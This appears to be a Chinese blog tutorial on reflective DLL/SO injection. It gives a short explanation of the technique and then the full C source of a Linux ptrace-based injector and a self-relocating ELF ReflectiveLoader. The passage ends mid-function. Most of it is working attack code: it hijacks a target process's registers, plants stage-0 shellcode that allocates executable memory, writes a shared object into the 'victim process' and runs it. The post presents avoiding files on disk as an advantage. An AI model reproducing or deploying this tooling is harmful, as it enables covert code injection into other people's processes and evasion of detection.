源码:(linux win)
https://github.com/haidragon/ReflectiveInjection
原理是:
写一个注入器先把要注入的dll或so文件注入到目标进程。这里还是存在注入(我感觉就是一般注入,只是加了个自己修复利重定位),注入但不通过api(dlopen,LoadLibrary)加载,只是把他映射到内存。必须要做的是动态库中要导出一个函数。用来自行加载。也就是自己修复自己的重定位。这个函数的调用地方在你注入后。然后eip(rip)指向那个函数地址(必须通过解析PE ELF文件找到它)。
优势:
不依赖dlopen或LoadLibrary函数。 减少了文件“落地”。
缺点:
要自己修复重定位。必须导出一个ReflectiveLoader函数。
linux
inject.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/user.h>
#include <wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <elf.h>
#include "utils.h"
#include "ptrace.h"
/*
* Copy a file from disk into a memory buffer. WARNING Does not check size!
*/
__attribute__((always_inline)) inline unsigned int
copy_in(int fd, void *address)
{
int cc;
off_t offset = 0;
char buf[1024];
while (0 < (cc = read(fd, buf, sizeof(buf))))
{
memcpy((address + offset), buf, cc);
offset += cc;
}
return offset;
}
//将共享对象映射到内存并返回指向它的指针,如果出现错误,则返回null
Elf64_Ehdr* map_shared_object_into_memory(char *path)
{
struct stat sb;
unsigned int fd;
fd = open(path, O_RDONLY);
if(fd == -1)
{
printf("[-] Could not open shared object\n");
exit(-1);
}
if (0 > stat(path, &sb))
{
return NULL;
}
void *mapped = mmap(NULL, sb.st_size + 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if(mapped == -1)
{
return NULL;
}
mapped += (unsigned long)(0x1000 - ((unsigned long)mapped & 0x00000FFF));
//Copy file on disk into memory map
copy_in(fd, mapped);
close(fd);
return (Elf64_Ehdr *)mapped;
}
__attribute__((always_inline)) inline void*
crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset)
{
void *ret;
register long r10 asm("r10") = flags;
register long r9 asm("r9") = offset;
register long r8 asm("r8") = fd;
__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap),
"D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) :
"cc", "memory", "rcx", "r11");
return ret;
}
/*
* Allocate RWX memory region to copy shared object into (this is stage0 shellcode which is injected into target process)
*/
void* injectSharedLibrary(unsigned int size)
{
return crt_mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
}
/*
* injectSharedLibrary_end()
*
* This function's only purpose is to be contiguous to injectSharedLibrary(),
* so that we can use its address to more precisely figure out how long
* injectSharedLibrary() is.
*
*/
void injectSharedLibrary_end()
{
}
int main(int argc, char** argv)
{
if(argc < 4)
{
usage(argv[0]);
return 1;
}
char* command = argv[1];
char* commandArg = argv[2];
char* libname = argv[3];
//realpath是用来将参数path所指的相对路径转换成绝对路径
char* libPath = realpath(libname, NULL);
Elf64_Ehdr *so;
char* processName = NULL;
pid_t target = 0;
struct user_regs_struct oldregs, regs;
if(!libPath)
{
fprintf(stderr, "can't find file \"%s\"\n", libname);
return 1;
}
//commandArg为名称的时候
if(!strcmp(command, "-n"))
{
processName = commandArg;
//通过进程名称找到它的pid
target = findProcessByName(processName);
if(target == -1)
{
fprintf(stderr, "doesn't look like a process named \"%s\" is running right now\n", processName);
return 1;
}
printf("[i] targeting process \"%s\" with pid %d\n", processName, target);
}
//commandArg为pid的时候
else if(!strcmp(command, "-p"))
{
target = atoi(commandArg);
printf("[i] targeting process with pid %d\n", target);
}
else
{
usage(argv[0]);
return 1;
}
//Save registers and ptrace_attach to process
memset(&oldregs, 0, sizeof(struct user_regs_struct));
memset(®s, 0, sizeof(struct user_regs_struct));
//附加
ptrace_attach(target);
//获取寄存器
ptrace_getregs(target, &oldregs);
memcpy(®s, &oldregs, sizeof(struct user_regs_struct));
//Load shared object into memory
//映射so文件
so = map_shared_object_into_memory(libPath);
printf("[+] shared object mapped at %p\n", so);
if(so == NULL)
{
printf("[-] Failed to load our shared object into memory... exiting..\n");
}
//Determine if SO exports a function called ReflectiveLoader if it does not then we should exit
//确定是否导出一个称为ReflectiveLoader的函数,如果它不存在,那么退出
Elf64_Phdr *phdr = so->e_phoff + (void *)so;
Elf64_Dyn *dynamic;
Elf64_Sym *dynsym;
char *dynstr;
void* ReflectiveLoader = 0;
//Find dynamic segment
for(int i = 0; i < so->e_phnum; i++)
{
if(phdr[i].p_type == PT_DYNAMIC)
{
dynamic = phdr[i].p_offset + (void *)so;
printf("[+] found dynamic segment at %p\n", dynamic);
break;
}
}
//Find .dynsym table for our SO
for(int i = 0; dynamic[i].d_tag != DT_NULL; i++)
{
if(dynamic[i].d_tag == DT_SYMTAB)
{
dynsym = (unsigned long)dynamic[i].d_un.d_val + (unsigned long)so;
printf("[+] dynsym found at address %p\n", dynsym);
break;
}
}
//find .dynstr table for our SO
for(int i = 0; dynamic[i].d_tag != DT_NULL; i++)
{
if(dynamic[i].d_tag == DT_STRTAB)
{
dynstr = (char *)(dynamic[i].d_un.d_val) + (unsigned long)so;
printf("[+] dynstr found at address %p\n", dynstr);
break;
}
}
//Find address of ReflectiveLoader symbol.. either it blows up here or the SO exports ReflectiveLoader function ;)
for(int i = 0; ;i++)
{
if(strcmp((dynsym[i].st_name + dynstr), "ReflectiveLoader") == 0)
{
ReflectiveLoader = dynsym[i].st_value;
printf("[+] Resolved ReflectiveLoader offset to %p\n", ReflectiveLoader);
break;
}
}
//Calculate the size of our injection shellcode
struct stat sb;
//就是so文件的大小
stat(libPath, &sb);
unsigned int size = sb.st_size;
//Find some executable memory which we can use to write our shellcode into
//找到一些可执行的内存,用来编写代码
long addr = freespaceaddr(target) + sizeof(long);
//Setup registers to correct location
printf("[i] Setting target registers to appropriate values\n");
regs.rip = addr;
regs.rdi = size + 0x1000;
regs.rax = 9;
regs.rdx = 7;
regs.r8 = -1;
regs.r9 = 0;
regs.r10 = 34;
ptrace_setregs(target, ®s);
// figure out the size of injectSharedLibrary() so we know how big of a buffer to allocate.
size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary;
// back up whatever data used to be at the address we want to modify.
//备份要修改的地址所使用的任何数据
char* backup = malloc(injectSharedLibrary_size * sizeof(char));
ptrace_read(target, addr, backup, injectSharedLibrary_size);
// set up a buffer to hold the code we're going to inject into the
// target process.
//设置一个缓冲区来保存将要注入目标进程的代码
char* newcode = malloc(injectSharedLibrary_size * sizeof(char));
memset(newcode, 0, injectSharedLibrary_size * sizeof(char));
// copy the code of injectSharedLibrary() to a buffer.
memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1);
// find return address of injectSharedLibrary and overwrite it with software breakpoint
//找到注入共享库的返回地址并用软件断点重写
intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary;
newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION;
// copy injectSharedLibrary()'s code to the target address
printf("[i] Overwriting target memory region with shellcode\n");
ptrace_write(target, addr, newcode, injectSharedLibrary_size);
//let the target run our injected code
printf("[+] Transfering execution to stage 0 shellcode\n");
//run
ptrace_cont(target);
// at this point, the target should have run mmap
//此时,目标应该已经运行MMAP
struct user_regs_struct mmap_regs;
memset(&mmap_regs, 0, sizeof(struct user_regs_struct));
ptrace_getregs(target, &mmap_regs);
unsigned long long targetBuf = mmap_regs.rax;
printf("[+] Returned from Stage 0 shell code RIP of target is %p\n", mmap_regs.rip);
printf("[i] Stage 0 mmap returned memory address of %p.. verifying allocation succeeded..\n", mmap_regs.rax);
//判断是否为读写执行
if(isRWX(target, mmap_regs.rax) == -1)
{
fprintf(stderr, "mmap() failed to allocate memory\n");
//还原现场断续执行
restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
free(backup);
free(newcode);
return -1;
}
printf("[+] Okay.. mmap allocation was successful!\n");
//Get page aligned address of RWX memory region in target process
void *so_inject_addr = mmap_regs.rax;
so_inject_addr += (unsigned long)(0x1000 - ((unsigned long)so_inject_addr & 0x00000FFF));
printf("[+] Writing our shared object into the victim process address space MUAHAHAHA!!!\n");
//ptrace_write our SO into this buffer (could use process_vm_writev to speed up transfer of data)
ptrace_write(target, (unsigned long)so_inject_addr, (void *)so, size);
printf("[+] Setting RIP to ReflectiveLoader function\n");
//Modify program registers to point to this memory region and call the ReflectiveLoader function
regs.rip = (unsigned long)ReflectiveLoader + so_inject_addr;
ptrace_setregs(target, ®s);
printf("[+] Calling ReflectiveLoader function! Let's hope this works ;D\n");
ptrace_cont(target);
//Restore state and detach
restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);
free(backup);
free(newcode);
}
//ReflectiveLoader.c
//===============================================================================================//
// Copyright (c) 2016, Infosec Guerilla (infosecguerrilla.wordpress.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Debug mode used to test loader capabilities //
//===============================================================================================//
#ifdef RSOI_DEBUG_MODE
#define debug(M, ...) { \
printf("DEBUG %s:%d: " M "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
}
#else
#define debug(M, ...)
#endif
//===============================================================================================//
#ifdef RSOI_DEBUG_MODE
int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Usage: %s <file path of SO to test loading>\n", argv[0]);
return -1;
}
ReflectiveLoader(argv[1]);
return 0;
}
#endif
//===============================================================================================//
/*
* This is a position independent ELF loader which is capable of being used to allow
* a program to load itself into memory.
*
* More details on the implementation of this loader can be found at the following address
* https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/
*
*/
#ifdef RSOI_DEBUG_MODE
int ReflectiveLoader(char *debugFile)
#else
int ReflectiveLoader()
#endif
{
ELF_FILE this; /* ELF file we are going to be loading since we are loading ourselves into memory it is this file */
ELF_FILE libc; /* C library we are using to find dynamic linker functions */
/*
* Functions we need from libc for ELF loading, we resolve these on
* the fly by locating LIBC and finding these functions ourselves
*/
int (*libc_mprotect)(void *addr, size_t len, int prot);
void* (*libc_calloc)(size_t, size_t size);
void* (*libc_dlsym)(void *, char *);
void* (*libc_dlopen)(char *, int mode);
int (*libc_dlclose)(void *);
void* (*libdl_dlsym)(void *handle, const char *symbol); /* We used dlsym because it is able to handle IFUNC function type something __libc_dlsym cannot for some reason */
/* See this post for more information - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */
unsigned int index;
char libdl_s[11];
libdl_s[0] = 'l';
libdl_s[1] = 'i';
libdl_s[2] = 'b';
libdl_s[3] = 'd';
libdl_s[4] = 'l';
libdl_s[5] = '.';
libdl_s[6] = 's';
libdl_s[7] = 'o';
libdl_s[8] = '.';
libdl_s[9] = '2';
libdl_s[10] = '\0';
char dlsym_s[6];
dlsym_s[0] = 'd';
dlsym_s[1] = 'l';
dlsym_s[2] = 's';
dlsym_s[3] = 'y';
dlsym_s[4] = 'm';
dlsym_s[5] = '\0';
//Locate libc in memory
libc.baseaddr = get_libc_base_addr();
libc.header = (Elf64_Ehdr *)libc.baseaddr;
libc.segments = libc.header->e_phoff + libc.baseaddr;
debug("[+] LIBC base address found at %p", libc.baseaddr);
//Locate ELF header for this file
this.header = find_elf_header();
debug("[+] Found my ELF header at %p", this.header);
#ifdef RSOI_DEBUG_MODE /* Debug mode testing loader capabilities while being able to print debug info */
this.header = load_file_debug_mode(debugFile);
debug("[+] Debug header located at %p", this.header);
#endif
this.segments = this.header->e_phoff + (void *)this.header; /* Program Segments */
this.sections = this.header->e_shoff + (void *)this.header; /* Program Sections */
//Find dynamiic program segment for libc
debug("[i] Looking for dynamic program segment for libc in program headers");
for(int i = 0; i < libc.header->e_phnum; i++)
{
if(libc.segments[i].p_type == PT_DYNAMIC)
{
libc.dynamic = libc.segments[i].p_vaddr + libc.baseaddr;
debug("[+] LIBC PT_DYNAMIC segment at address %p", libc.dynamic);
}
}
//Find .dynsym table for libc
debug("[i] Looking for dynsym program segment for libc in dynamic segment");
for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)
{
if(libc.dynamic[i].d_tag == DT_SYMTAB)
{
libc.dynsym = (Elf64_Sym *)libc.dynamic[i].d_un.d_val;
debug("[+] LIBC dynsym found at address %p", libc.dynsym);
break;
}
}
//find .dynstr table for libc
for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)
{
if(libc.dynamic[i].d_tag == DT_STRTAB)
{
libc.dynstr = (char *)(libc.dynamic[i].d_un.d_val);
debug("[+] LIBC dynstr found at address %p", libc.dynstr);
break;
}
}
//find .gnu.hash section
for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)
{
if(libc.dynamic[i].d_tag == DT_GNU_HASH)
{
libc.gnu_hash = (char *)(libc.dynamic[i].d_un.d_val);
debug("[+] LIBC gnu_hash found at address %p", libc.gnu_hash);
break;
}
}
if(libc.gnu_hash == NULL)
{
debug("[-] Could not find GNU_HASH entry in dynamic segment");
return -1;
}
debug("[i] Resolving addresses of runtime dependencies");
//Resolve functions needed to run
unsigned int count = 0;
for(int i = 0; ;i++) /* You can also calculate the number of dynsym entries by looking in HASH or GNU_HASH tables */
{
if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLOPEN_HASH)
{
libc_dlopen = libc.dynsym[i].st_value + libc.baseaddr;
debug("[+] Found dlopen at %p", libc_dlopen);
count++;
}
if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLCLOSE_HASH)
{
libc_dlclose = libc.dynsym[i].st_value + libc.baseaddr;
debug("[+] Found dlclose at %p", libc_dlclose);
count++;
}
if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLSYM_HASH)
{
libc_dlsym = libc.dynsym[i].st_value + libc.baseaddr;
debug("[+] Found dlsym at %p", libc_dlsym);
count++;
}
if(hash(libc.dynsym[i].st_name + libc.dynstr) == CALLOC_HASH)
{
libc_calloc = libc.dynsym[i].st_value + libc.baseaddr;
debug("[+] Found calloc at %p", libc_calloc);
count++;
}
if(hash(libc.dynsym[i].st_name + libc.dynstr) == MPROTECT_HASH)
{
libc_mprotect = libc.dynsym[i].st_value + libc.baseaddr;
debug("[+] Found mprotect at %p", libc_mprotect);
count++;
}
if(count == 5)
{
break;
}
}
/* Find dlsym using __libc_dlsym - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */
void *libdlhandle = (*libc_dlopen)(libdl_s, RTLD_LAZY);
debug("[+] Opened libdl with handle libdlhandle=%p", libdlhandle);
libdl_dlsym = (*libc_dlsym)(libdlhandle, dlsym_s);
debug("[+] Found libdl_dlsym at %p", libdl_dlsym);
debug("[i] Finished resolving addresses of runtime dependencies");
debug("[i] Allocating RWX memory to load shared object into and calculating program size");
//Calculate program base address aligned to page size (0x1000 bytes)
unsigned int size;
size = get_program_memory_size(this.header);
debug("[i] Program size is %u", size);
//Allocate this memory
this.baseaddr = (*libc_calloc)(1, size);
if(this.baseaddr == NULL)
{
debug("[-] ERROR libc_calloc failed");
return -1;
}
//Round process base address to page size
this.baseaddr += (unsigned long)(0x1000 - ((unsigned long)this.baseaddr & 0x00000FFF));
if((*libc_mprotect)(this.baseaddr, size, PROT_READ | PROT_WRITE | PROT_EXEC) != 0)
{
debug("[-] ERROR mprotect call to create RWX memory region failed and returned with error");
return -1;
}
debug("[+] Shared object baseaddr at %p", this.baseaddr);
//Map program segments into memory
for(int i = 0; i < this.header->e_phnum; i++)
{
//Copy loadable segments into memory
if(this.segments[i].p_type == PT_LOAD)
{
debug("[+] PT_LOAD Segment loaded at %p", this.segments[i].p_vaddr + this.baseaddr);
crt_memcpy(this.baseaddr + this.segments[i].p_vaddr, (void *)this.header + this.segments[i].p_offset, this.segments[i].p_filesz);
}
}
//Find SH_STRTAB
this.SH_STRTAB = (void *)this.header + this.sections[this.header->e_shstrndx].sh_offset;
//find this files .dynamic section
index = find_section_by_hash(DYNAMIC_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
this.secdynamic = (Elf64_Shdr *)&this.sections[index];
this.dynamic = this.secdynamic->sh_addr + this.baseaddr;
//find this files .dynstr
index = find_section_by_hash(DYNSTR_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
this.secdynstr = (Elf64_Shdr *)&this.sections[index];
this.dynstr = this.secdynstr->sh_addr + this.baseaddr;
//find this files .rela.plt section
index = find_section_by_hash(RELAPLT_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
this.secrelaplt = (Elf64_Shdr *)&this.sections[index];
this.relaplt = this.secrelaplt->sh_addr + this.baseaddr;
//find this files .rela.dyn section
index = find_section_by_hash(RELADYN_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
this.secreladyn = (Elf64_Shdr *)&this.sections[index];
this.reladyn = this.secreladyn->sh_addr + this.baseaddr;
//find this files dynsym section
index = find_section_by_hash(DYNSYM_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);
this.secdynsym = (Elf64_Shdr *)&this.sections[index];
this.dynsym = this.secdynsym->sh_addr + this.baseaddr;
//dlopen DT_NEEDED libraries
unsigned int numNeededLibraries = 0;
void* *libHandles = NULL;
unsigned int z = 0;
//Count number of DT_NEEDED entries
for(int i = 0; this.dynamic[i].d_tag != DT_NULL; i++)
{
if(this.dynamic[i].d_tag == DT_NEEDED)
{
numNeededLibraries++;
}
}
libHandles = (*libc_calloc)(sizeof(void *), numNeededLibraries);
if(libHandles == NULL)
{
debug("[-] Memory allocation failed..");
return -1;
}
//Open all libraries required by the shared object in order to execute
for(int i = 0; this.dynamic[i].d_tag != DT_NULL && z < numNeededLibraries; i++)
{
if(this.dynamic[i].d_tag == DT_NEEDED)
{
debug("[i] Opening DT_NEEEDED library [%s]", this.dynamic[i].d_un.d_ptr + this.dynstr);
libHandles[z] = (*libc_dlopen)(this.dynamic[i].d_un.d_ptr + this.dynstr, RTLD_LAZY);
if(!libHandles[z])
{
return -1;
}
z++;
}
}
//Resolve PLT references
for(int i = 0; i < this.secrelaplt->sh_size / sizeof(Elf64_Rela); i++)
{
if(ELF64_R_TYPE(this.relaplt[i].r_info) == R_X86_64_JUMP_SLOT)
{
void *funcaddr;
char *symName;
//Get Index into symbol table for relocation
index = ELF64_R_SYM(this.relaplt[i].r_info);
symName = this.dynsym[index].st_name + this.dynstr;
//If symbol is a local symbol write the address of it into the .got.plt
if(ELF64_ST_TYPE(this.dynsym[index].st_info) == STT_FUNC && this.dynsym[index].st_shndx != SHN_UNDEF)
{
debug("[i] Symbol type is STT_FUNC AND st_shndx IS NOT STD_UNDEF for %s", symName);
*((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long *)(this.dynsym[index].st_value + this.baseaddr);
}
//We need to lookup the symbol searching through DT_NEEDED libraries
else
{
for(int x = 0; x < numNeededLibraries; x++)
{
funcaddr = (*libdl_dlsym)(libHandles[x], symName);
debug("[i] Looking up symbol for %s function address is %p", symName, funcaddr);
if(funcaddr != NULL)
{
*((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)funcaddr);
break;
}
}
}
}
}
//Perform relocations (.rela.dyn)
for(int i = 0; i < this.secreladyn->sh_size / sizeof(Elf64_Rela); i++)
{
if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_64)
{
debug("[i] Processing Relocation of type R_86_64_64");
index = ELF64_R_SYM(this.reladyn[i].r_info);
*((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[index].st_value + this.reladyn[i].r_addend;
}
/*
* Lookup address of symbol and store it in GOT entry
*/
else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_GLOB_DAT)
{
debug("[i] Processing Relocation of type R_x86_64_GLOB_DAT %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr);
//Check symbol both locally and globally (searching through DT_NEEDED entries)
for(int x = 0; ;x++)
{
if(hash(this.dynsym[x].st_name + this.dynstr) == hash(this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr))
{
//If symbol is a local symbol write the address of it into the .got.plt
if(this.dynsym[x].st_shndx == SHN_UNDEF)
{
for(int y = 0; y < numNeededLibraries; y++)
{
void *faddr = libdl_dlsym(libHandles[y], this.dynsym[x].st_name + this.dynstr);
debug("[i] Looking up symbol for %s function address is %p", this.dynsym[x].st_name + this.dynstr, faddr);
if(faddr != NULL)
{
*((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)faddr);
break;
}
}
break;
}
//write value into got entry
*((uint64_t *)(this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[x].st_value + this.baseaddr;
break;
}
}
}
else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_RELATIVE)
{
debug("[i] Processing Relocation of type R_x86_64_RELATIVE %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr);
index = ELF64_R_SYM(this.reladyn[i].r_info);
*((uint64_t *)((unsigned long)this.reladyn[i].r_offset + (unsigned long)this.baseaddr)) = this.reladyn[i].r_addend + this.baseaddr;
}
}
//Close Opened Libraries
for(int i = 0; i < numNeededLibraries; i++)
{
libc_dlclose(libHandles[i]);
}
libc_dlclose(libdlhandle);
//Call constructors of shared object
debug("[i] Calling shared object constructors");
call_program_constructors(this);
return 1;
}
//===============================================================================================//
// Reflective ELF Loader Functions
//===============================================================================================//
/*
* Parse backwards in memory in order to locate the ELF Header of our injected file
*/
__attribute__((always_inline)) inline Elf64_Ehdr*
find_elf_header()
{
unsigned char *IP;
__asm__("leaq (%%rip), %0;": "=r"(IP));
//Locate the ELF Header for this file
while(1 == 1)
{
if(check_elf_magic((Elf64_Ehdr *)IP))
{
break;
}
IP--;
}
return (Elf64_Ehdr*)IP;
}
/*
* Get the base address of libc by parsing /proc/self/maps (without a C library it is so annoying!)
*/
__attribute__((always_inline)) inline void*
get_libc_base_addr()
{
MAPS_FILE maps;
int fd;
struct stat sb;
MAPS_ENTRY e;
/* Done this way to ensure relocations are not required
* compiler generates a sequence of move instructions writing
* the string onto the stack. */
char mapspath[16];
mapspath[0] = '/';
mapspath[1] = 'p';
mapspath[2] = 'r';
mapspath[3] = 'o';
mapspath[4] = 'c';
mapspath[5] = '/';
mapspath[6] = 's';
mapspath[7] = 'e';
mapspath[8] = 'l';
mapspath[9] = 'f';
mapspath[10] = '/';
mapspath[11] = 'm';
mapspath[12] = 'a';
mapspath[13] = 'p';
mapspath[14] = 's';
mapspath[15] = '\0';
char libc[6];
libc[0] = 'l';
libc[1] = 'i';
libc[2] = 'b';
libc[3] = 'c';
libc[4] = '-';
libc[5] = '\0';
char perms[5];
perms[0] = 'r';
perms[1] = '-';
perms[2] = 'x';
perms[3] = 'p';
perms[4] = '\0';
maps.maps = crt_mmap(NULL, 0x1000 * 200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
fd = crt_open("/proc/self/maps", 0, 0);
maps.size = copy_in(fd, maps.maps);
maps.pos = maps.maps;
do
{
e = get_next_maps_entry(&maps);
if(e.name == NULL) /* Entry does not have a name */
continue;
if(crt_strcmp(e.name, &libc) > 0)
{
if(crt_strcmp(e.perms, &perms) > 0)
return e.startaddr;
}
} while(e.startaddr != NULL);
crt_munmap(maps.maps, 0x1000 * 200); //unmap maps file from memory
crt_close(fd);
}
/*
* Get the next maps entry in the file
*/
__attribute__((always_inline)) inline MAPS_ENTRY
get_next_maps_entry(MAPS_FILE *maps)
{
MAPS_ENTRY entry;
int valid = 0;
char *pos = maps->pos;
char *temp;
//Check if we have gotten to the end of the maps file
if(*pos >= (maps->maps + maps->size))
return entry;
//Get start address
temp = pos;
while(*pos != '-')
{
pos++;
}
*pos = '\0';
pos++;
entry.startaddr = convert_string_to_64bit_pointer(temp);
//Get end address of memory region
temp = pos;
while(*pos != ' ')
{
pos++;
}
*pos = '\0';
pos++;
entry.endaddr = convert_string_to_64bit_pointer(temp);
//Get permissions
entry.perms = pos;
//Get name of memory region if it is a shared library name
while(*pos != '\n') { if(*pos == '/') { valid = 1; } pos++; } /* Skip over junk data */
*pos = '\0';
temp = pos;
while(*pos != '/' && valid) { pos--; } pos++; /* Get name of shared object if a valid entry */
entry.name = pos; /* Save this name */
if(!valid) { entry.name = NULL; }
pos = temp;
pos++; //Skip to beginning of next entry
maps->pos = pos; //Save this position
return entry;
}
/*
* Get the amount of memory which needs to be allocated in order to map our program into memory
* plus some additional padding.
*/
__attribute__((always_inline)) inline unsigned int
get_program_memory_size(Elf64_Ehdr *header)
{
unsigned int size = 0, numPages;
Elf64_Phdr *segments = header->e_phoff + (void *)header;
for(int i = 0; i < header->e_phnum; i++)
{
if(segments[i].p_type == PT_LOAD)
{
if(segments[i].p_memsz > segments[i].p_align)
{
numPages = 1 + (segments[i].p_memsz - segments[i].p_memsz % segments[i].p_align) / segments[i].p_align;
}
else
{
numPages = 1;
}
size += segments[i].p_align * numPages;
}
}
size += 0x2000; //padding
return size;
}
__attribute__((always_inline)) void inline
call_program_constructors(ELF_FILE e)
{
int INIT_ARRAYSZ = 0;
void* *INIT_ARRAY;
void (*constructor)();
//find DT_INIT_ARRAYSZ
for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++)
{
if(e.dynamic[i].d_tag == DT_INIT_ARRAYSZ)
{
INIT_ARRAYSZ = e.dynamic[i].d_un.d_ptr;
break;
}
}
//find DT_INIT_ARRAY
for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++)
{
if(e.dynamic[i].d_tag == DT_INIT_ARRAY)
{
INIT_ARRAY = e.dynamic[i].d_un.d_ptr + e.baseaddr;
break;
}
}
//Call constructors in shared object
for(int i = 1; i < INIT_ARRAYSZ; i++)
{
constructor = (uint64_t)INIT_ARRAY[i] + (uint64_t)e.baseaddr;
if(INIT_ARRAY[i] == 0)
break;
debug("[i] Calling constructor %p", constructor);
constructor();
}
}
/* check elf header */
__attribute__((always_inline)) inline unsigned int
check_elf_magic(Elf64_Ehdr *elfHdr)
{
if(elfHdr->e_ident[0] == 0x7f)
{
if(elfHdr->e_ident[1] == 0x45)
{
if(elfHdr->e_ident[2] == 0x4c)
{
if(elfHdr->e_ident[3] == 0x46)
{
return 1;
}
}
}
}
return 0;
}
/* Find elf section given a name and hash */
__attribute__((always_inline)) inline unsigned int
find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections)
{
for(int i = 0; i < numSections; i++)
{
unsigned char *sectionName = SH_STRTAB + sections[i].sh_name;
if(hash(sectionName) == sectionHash)
{
return i;
}
}
debug("[i] ERROR could not find section");
exit(-1);
}
//===============================================================================================//
// Standard Library Functions (x86_64)
//===============================================================================================//
__attribute__((always_inline)) inline int
crt_close(int fd)
{
long ret;
asm volatile ("syscall" : "=a" (ret) : "a" (__NR_close),
"D" (fd):
"cc", "memory", "rcx",
"r8", "r9", "r10", "r11" );
if (ret < 0)
{
ret = -1;
}
return (int)ret;
}
__attribute__((always_inline)) inline int
crt_open (const char *pathname, unsigned long flags, unsigned long mode)
{
long ret;
__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_open),
"D" (pathname), "S" (flags), "d" (mode) :
"cc", "memory", "rcx",
"r8", "r9", "r10", "r11" );
return (int) ret;
}
__attribute__((always_inline)) inline void*
crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset)
{
void *ret;
register long r10 asm("r10") = flags;
register long r9 asm("r9") = offset;
register long r8 asm("r8") = fd;
__asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap),
"D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) :
"cc", "memory", "rcx", "r11");
return ret;
}
__attribute__((always_inline)) inline int
crt_munmap(void *start, unsigned long length)
{
long ret;
asm volatile ("syscall" : "=a" (ret) : "a" (__NR_munmap),
"D" (start), "S" (length) :
"cc", "memory", "rcx",
"r8", "r9", "r10", "r11" );
if (ret < 0)
{
ret = -1;
}
return (int)ret;
}
__attribute__((always_inline)) inline int
crt_read(int fd, char *buffer, unsigned long bufferlen)
{
long ret;
